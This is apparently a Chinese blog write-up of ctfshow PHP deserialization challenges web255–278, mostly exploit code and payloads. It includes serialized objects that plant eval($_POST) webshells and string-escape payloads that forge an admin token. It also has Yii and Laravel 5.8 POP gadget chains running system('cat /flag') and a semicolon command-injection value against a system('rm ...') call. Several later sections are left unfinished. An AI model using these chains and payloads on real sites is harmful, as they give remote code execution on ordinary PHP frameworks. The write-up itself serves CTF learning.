ctfshow unserialize

开始反序列化

web255
是从cookie中unserialize得到实例,考虑修改cookie中键user的值
$result = urlencode(serialize(new ctfShowUser()));
为何需要url编码呢,不url编码也能成。url编码是对称加密,编码也不影响

web256
考察!==不完全等于,两端不一样为true,相同为false

web257
类内部变量class指向类info
考虑将class指向类backdoor
在类backdoor中RCE

<?php
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code= 'eval($_POST[1]);';
    public function getInfo(){
        eval($this->code);
    }
}


$cup =  urlencode(serialize(new ctfShowUser()));
echo PHP_EOL;
echo serialize(new ctfShowUser());


web258
正则过滤O:数字,将数字前面添一个+号

public $code='eval($_POST[1]);';

因为eval本身是一条php语句,引号内的结尾要使用分号

具体可看序列化的c源码

正则为何是过滤O:数字呢

if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user']))

web259
php中,如果调用的一个方法在类中不存在,则调用__call魔术方法

原生类的ssrf

通过SoapClient对象

通过php发送网络请求

结合了ssrf

鸽先

web260
字符串序列化结果是它本身

preg_match 是要串中命中就成

web261

0x36d 是877,涉及弱类型比较

如果出现877或877a都会成立

如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略

这两个方法是关于在反序列化时被触发

__invoke是关于类被当作一个函数调用时触发,比如


class MyCallable {
    public function __invoke($param) {
        echo "Called with parameter: $param\n";
    }
}

$obj = new MyCallable();
$obj("Hello"); // 这里会调用 __invoke() 方法

__sleep在序列化时调用

__unserialize在序列化时调用,将给$code赋值

反序列化对象,new一个对象出来,利用它的构造,获得它的序列化字符串

O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A8%3A%22877a.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5Ba%5D%29%3B%3F%3E%22%3Bs%3A4%3A%22code%22%3BN%3B%7D

web262
反序列化逃逸注入

预期解
在这里插入图片描述

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$obj = new message('fuck','b','c');

function filter($obj){
    return str_replace('fuck', 'loveU', $obj);
}

$objSer = serialize($obj);
echo $objSer;
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}


echo PHP_EOL;
$objSerFil = filter($objSer);
echo $objSerFil;
//O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}

//could flee
//";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}

//fix it to
//";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}

//payload(62 char)
//";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}

echo PHP_EOL;
$objHack = new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');
echo serialize($objHack);

$answer = 'O:7:"message":4:{s:4:"from";s:310:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}';
$answer = filter($answer);

echo PHP_EOL;
var_dump(unserialize($answer));
//it works

echo PHP_EOL;
echo base64_encode($answer);

在目标串中,把短串替换长串,就会造成逃逸,长串与短串的长度的差,就是逃逸的机会。将短串重复若干多次,就能达到逃逸几十个字符个数的反序列化

逃逸的情况就是这样,有些耐心就能做出来

那么,在这个题目中,注释部分的提示


/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

为什么暴露了message.php这个文件,而有些情况message.php还可传参?比如本题中,传入cookie可以new一个序列化的base64 message对象进去,后端也能读到cookie中的payload

web263

ctf中一般的源码泄漏是www.zip

ini_set(‘session.serialize_handler’,‘php’)

include(‘inc/inc.php’);
在php泄漏的源码中没有,但是在服务器中有

这题有点复杂,晚点写

涉及php的一个设置
ini_set(‘session.serialize_handler’,‘php’)

ini_set(‘session.serialize_handler’,‘php_serialize’)

web264
是反序列化逃逸,属于变长类型,耐心即可
信息写到session中
在这里插入图片描述
在这里插入图片描述

<?php

class message{
    public $from;
    public $msg;
    public $to;
    public $token='admin';//original is 'user', I change it to 'admin'
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$msg = new message('a','b','fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');

function filter($msg){
    return str_replace("fuck","loveU",serialize($msg));
}

$msg_1 = filter($msg);

echo $msg_1;
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:4:"loveU";s:5:"token";s:5:"admin";}
//payload:";s:5:"token";s:5:"admin";}(27chars)
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:108:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:5:"admin";}

var_dump(unserialize($msg_1));

web265
“我怎么感觉这个wp越来越像教程了,居然还用了画笔”–from video
有点意思,通过引用,tocken咋变值password就咋变

<?php

//error_reporting(0);
//include('flag.php');
//highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = &$this->token;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$admin = new ctfshowAdmin('123','123');

echo serialize($admin);

以下为题目

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

web266
(在线靶场启用了https)
(搞一下burpsuite)
(https://www.cnblogs.com/a-wyw/p/16277571.html)
(https://cloud.tencent.com/developer/article/1391501)
反序列化

恶意破坏反序列化的结构,但不破坏类名

反序列化异常但是还是会执行类的销毁方法

payload: O:7:“ctfshow”:2:{ctfshow} 使用post方法

有趣的是,这题传值使用file_get_contents('php://input');通过post直接传值

在这里插入图片描述
使用hackbar失败,需要抓包修改后放行

web267

yii反序列化poc

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '1';				//命令执行
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(), 'run'];
        }
    }
}
namespace yii\db{

    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}
namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

在这里插入图片描述

rce 中 system 被 ban, 用shell_exe()

没能成,不知道为啥

中间几道题是YII的pop链,晚点作

web271

Laravel的链子5.8(将不同的链子做成工具会比较方便)

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        protected $command;
        protected $parameters;
        protected $app;
        public $test;
        public function __construct($command, $parameters,$class,$app){
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test=$class;
            $this->app=$app;
        }
    }
}
namespace Illuminate\Auth{
    class GenericUser{
        protected $attributes;
        public function __construct(array $attributes){
            $this->attributes = $attributes;
        }
    }
}
namespace Illuminate\Foundation{
    class Application{
        protected $hasBeenBootstrapped = false;
        protected $bindings;
        public function __construct($bind){
            $this->bindings=$bind;
        }
    }
}
namespace{
    $genericuser = new Illuminate\Auth\GenericUser(
        array(
            "expectedOutput"=>array("0"=>"1"),
            "expectedQuestions"=>array("0"=>"1")
        )
    );
    $application = new Illuminate\Foundation\Application(
        array(
            "Illuminate\Contracts\Console\Kernel"=>
                array(
                    "concrete"=>"Illuminate\Foundation\Application"
                )
        )
    );
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
        "system",array('cat /flag'),
        $genericuser,
        $application
    );
    echo urlencode(serialize($pendingcommand));
}
?>

web272

还是Laravel

换一条链子

<?php
namespace Illuminate\Broadcasting{

    use Illuminate\Bus\Dispatcher;
    use Illuminate\Foundation\Console\QueuedCommand;

    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct(){
            $this->events=new Dispatcher();
            $this->event=new QueuedCommand();
        }
    }
}
namespace Illuminate\Foundation\Console{

    use Mockery\Generator\MockDefinition;

    class QueuedCommand
    {
        public $connection;
        public function __construct(){
            $this->connection=new MockDefinition();
        }
    }
}
namespace Illuminate\Bus{

    use Mockery\Loader\EvalLoader;

    class Dispatcher
    {
        protected $queueResolver;
        public function __construct(){
            $this->queueResolver=[new EvalLoader(),'load'];
        }
    }
}
namespace Mockery\Loader{
    class EvalLoader
    {

    }
}
namespace Mockery\Generator{
    class MockConfiguration
    {
        protected $name="feng";
    }
    class MockDefinition
    {
        protected $config;
        protected $code;
        public function __construct()
        {
            $this->code="<?php system('cat /flag');exit()?>";
            $this->config=new MockConfiguration();
        }
    }
}

namespace{

    use Illuminate\Broadcasting\PendingBroadcast;

    echo urlencode(serialize(new PendingBroadcast()));
}

web273

同web272,通杀属于是,链子继续用

总结以下框架的发序列化链子怎么用

就是收集链子,根据框架的指纹判断种类和版本

web274

没找到链子捏

web275
?fn=php;tac flag.php

题目

highlight_file(__FILE__);

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

是个RCE

一般情况,传个get参数,直接被当成文件名删掉

尝试进入system命令执行,使用分号执行命令

不难

web276

利用phar

写脚本竞争读写,拿到flag

没懂

web277

flask 的python反序列化

没懂

web278

flask 的python 反序列化

没学

总结一下

就是啥也不会,啥也不是

啥也没学

做了题也是菜中菜

unserialize函数是PHP中的一个函数,它用于将一个字符串表示的序列化对象转换回原始的PHP对象。当使用serialize函数将一个对象序列化为字符串后,可以使用unserialize函数将其还原为原始的对象。 在使用unserialize函数时,如果被反序列化的字符串中包含有特殊的魔术方法(magic methods)如__construct、__destruct、__wakeup等,这些方法会在对象被创建、销毁或者反序列化时自动调用。 反序列化的过程是非常有用的,可以在用户之间传递对象,或者将对象持久化存储到文件或数据库中。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [浅谈php函数serialize()与unserialize()的使用方法](https://download.csdn.net/download/weixin_38726255/13043889)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [反序列化(Unserialize)漏洞详解](https://blog.csdn.net/qq_49422880/article/details/120488517)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [渗透测试基础 -unserialize反序列化漏洞](https://blog.csdn.net/weixin_45488495/article/details/116403291)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值